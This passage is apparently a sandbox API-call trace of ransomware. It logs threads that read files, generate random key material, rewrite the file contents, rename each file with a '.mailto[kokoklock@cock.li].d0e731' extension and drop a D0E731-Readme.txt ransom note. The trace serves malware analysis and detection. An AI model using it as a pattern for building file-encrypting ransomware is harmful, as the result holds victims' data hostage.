"c:\\588bce7c90097ed212\\1037\\d0e731-readme.txt")) returned 0x20 [0071.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427208) returned 1 [0071.026] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa968) returned 1 [0071.026] RtlExitUserThread (Status=0x1) Thread: id = 241 os_tid = 0x123c [0063.494] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0066.375] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0068.790] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0068.790] GetFileSizeEx (in: hFile=0x70c, lpFileSize=0xc4af99c | out: lpFileSize=0xc4af99c*=72076) returned 1 [0068.790] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x11988, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.790] ReadFile (in: hFile=0x70c, lpBuffer=0xc4af970, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0xc4af970*, lpNumberOfBytesRead=0xc4af96c*=0x4, lpOverlapped=0x0) returned 1 [0068.791] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424078 [0068.791] NtQuerySystemTime (in: CurrentTime=0xc4af948 | out: CurrentTime=0xc4af948*=132121176266816599) returned 0x0 [0068.791] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x4faf2321 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xdd2818f [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x8cff93dc [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xae17ea98 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x5d117665 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xdc5a463e [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x94533272 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x71dfb0f2 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x91910e51 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xe9b5de75 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xf5f92cd2 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x3c010eee [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x7ba182cb [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x9a7b6541 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x8f079290 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x92353955 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x45bdf2d8 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x3d0b3ec3 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x4e3cd291 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xb42acb11 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xde0b1e38 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x94938e8a [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xf18a044 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xb61dd400 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xb0b4544d [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0xe7211cd4 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x72467d20 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x73ac7e64 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x4493a073 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x1c18e0b1 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x3bcd7b06 [0068.792] RtlRandom (in: Seed=0xc4af954 | out: Seed=0xc4af954) returned 0x24fc1982 [0068.804] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.804] ReadFile (in: hFile=0x70c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc4af920, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc4af920*=0x4096, lpOverlapped=0x0) returned 1 [0068.804] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0068.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479da8 [0068.804] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3486220 [0068.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.805] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.805] WriteFile (in: hFile=0x70c, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc4af920, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc4af920*=0x4096, lpOverlapped=0x0) returned 1 [0068.805] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.805] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x1198c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.805] WriteFile (in: hFile=0x70c, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc4af958, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc4af958*=0x20, lpOverlapped=0x0) returned 1 [0068.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.806] WriteFile (in: hFile=0x70c, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc4af96c*=0x8, lpOverlapped=0x0) returned 1 [0068.806] WriteFile (in: hFile=0x70c, lpBuffer=0xc4af984*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0xc4af984*, lpNumberOfBytesWritten=0xc4af96c*=0x4, lpOverlapped=0x0) returned 1 [0068.806] WriteFile (in: hFile=0x70c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc4af96c*=0x4, lpOverlapped=0x0) returned 1 [0068.806] WriteFile (in: hFile=0x70c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc4af96c*=0x6c, lpOverlapped=0x0) returned 1 [0068.806] WriteFile (in: hFile=0x70c, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc4af96c*=0x20, lpOverlapped=0x0) returned 1 [0068.806] WriteFile (in: hFile=0x70c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc4af96c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc4af96c*=0x4, lpOverlapped=0x0) returned 1 [0068.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34240a0) returned 1 [0068.806] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.806] CloseHandle (hObject=0x70c) returned 1 [0071.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e63d8 [0071.019] wcscpy (in: _Dest=0x33e63d8, _Source="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" [0071.019] wcscat (in: _Dest=0x33e63d8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.019] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.020] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e63d8) returned 1 [0071.024] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.024] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1037\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0071.024] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" [0071.024] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\d0e731-readme.txt")) returned 0xffffffff [0071.024] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x78c [0071.025] WriteFile (in: hFile=0x78c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc4af968, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc4af968*=0x481, lpOverlapped=0x0) returned 1 [0071.026] CloseHandle (hObject=0x78c) returned 1 [0071.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.027] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426bf0) returned 1 [0071.027] RtlExitUserThread (Status=0x1) Thread: id = 242 os_tid = 0x1240 [0063.495] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0066.376] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x20) returned 1 [0068.809] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x708 [0068.809] GetFileSizeEx (in: hFile=0x708, lpFileSize=0xc52f968 | out: lpFileSize=0xc52f968*=8876) returned 1 [0068.809] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x22a8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.809] ReadFile (in: hFile=0x708, lpBuffer=0xc52f93c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0xc52f93c*, lpNumberOfBytesRead=0xc52f938*=0x4, lpOverlapped=0x0) returned 1 [0068.811] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3424028 [0068.811] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34240a0 [0068.811] NtQuerySystemTime (in: CurrentTime=0xc52f914 | out: CurrentTime=0xc52f914*=132121176266972659) returned 0x0 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x29e5612 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x6dc5c617 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x14059309 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xa7a28aa4 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x810c88d1 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x548bb108 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x837c50d3 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x1246f996 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x1ab22146 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x92ea6257 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xb7ac79b9 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xad4185b0 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xe1ce45fe [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x31b47e58 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xd60813c2 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x44cc8d3b [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xd5315307 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x79d73722 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x41e2503e [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xfbe7e43c [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xa1bb4538 [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x97999b2a [0068.811] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xc7fb751f [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xbb583ed8 [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x4769a5e [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x6663e94a [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x5181a7e5 [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xbda31254 [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x3cfb1113 [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xcd3f6acc [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0xb5af3fe0 [0068.812] RtlRandom (in: Seed=0xc52f920 | out: Seed=0xc52f920) returned 0x5b01e357 [0068.823] ReadFile (in: hFile=0x708, lpBuffer=0x3475830, nNumberOfBytesToRead=0x22ac, lpNumberOfBytesRead=0xc52f914, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc52f914*=0x22ac, lpOverlapped=0x0) returned 1 [0068.823] SetFilePointerEx (in: hFile=0x708, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc52f8dc | out: lpNewFilePointer=0x0) returned 1 [0068.823] WriteFile (in: hFile=0x708, lpBuffer=0x3486220*, nNumberOfBytesToWrite=0x22ac, lpNumberOfBytesWritten=0xc52f910, lpOverlapped=0x0 | out: lpBuffer=0x3486220*, lpNumberOfBytesWritten=0xc52f910*=0x22ac, lpOverlapped=0x0) returned 1 [0068.824] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e20 [0068.824] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423e48 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e48) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0x3423e20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc52f90c, lpOverlapped=0x0 | out: lpBuffer=0x3423e20*, lpNumberOfBytesWritten=0xc52f90c*=0x20, lpOverlapped=0x0) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e20) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0x3423e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0x3423e70*, lpNumberOfBytesWritten=0xc52f938*=0x8, lpOverlapped=0x0) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0xc52f950*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0xc52f950*, lpNumberOfBytesWritten=0xc52f938*=0x4, lpOverlapped=0x0) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc52f938*=0x4, lpOverlapped=0x0) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc52f938*=0x6c, lpOverlapped=0x0) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc52f938*=0x20, lpOverlapped=0x0) returned 1 [0068.824] WriteFile (in: hFile=0x708, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc52f938, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc52f938*=0x4, lpOverlapped=0x0) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34240c8) returned 1 [0068.824] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.824] CloseHandle (hObject=0x708) returned 1 [0070.749] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0070.749] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1032\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf" [0070.749] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0070.749] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.999] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0070.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0070.999] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.000] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.000] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1032\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0071.000] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" [0071.000] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1032\\d0e731-readme.txt")) returned 0x20 [0071.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.000] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fab48) returned 1 [0071.000] RtlExitUserThread (Status=0x1) Thread: id = 243 os_tid = 0x1244 [0063.496] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80 [0064.577] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0070.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x788 [0070.721] GetFileSizeEx (in: hFile=0x788, lpFileSize=0xc5afa70 | out: lpFileSize=0xc5afa70*=86284) returned 1 [0070.721] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x15108, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.721] ReadFile (in: hFile=0x788, lpBuffer=0xc5afa44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc5afa40, lpOverlapped=0x0 | out: lpBuffer=0xc5afa44*, lpNumberOfBytesRead=0xc5afa40*=0x4, lpOverlapped=0x0) returned 1 [0070.722] SetFilePointerEx (in: hFile=0x788, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e60 [0070.722] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422b90 [0070.722] NtQuerySystemTime (in: CurrentTime=0xc5afa1c | out: CurrentTime=0xc5afa1c*=132121176286191501) returned 0x0 [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xc9355ac8 [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xcbc13c67 [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xe0a8ae4a [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xa1b6ff9e [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x422d517d [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x6763af1d [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x9966d75c [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x45dfbfc5 [0070.722] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xd817aa58 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x17ed7791 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x70e405c2 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x5d436fff [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x8393b223 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x16c31c4c [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x87f97ec0 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x3a4db832 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xa161f99b [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0xb5382f1 [0070.723] RtlRandom (in: Seed=0xc5afa28 | out: Seed=0xc5afa28) returned 0x3bee4dab [0070.723] RtlRandom (in: 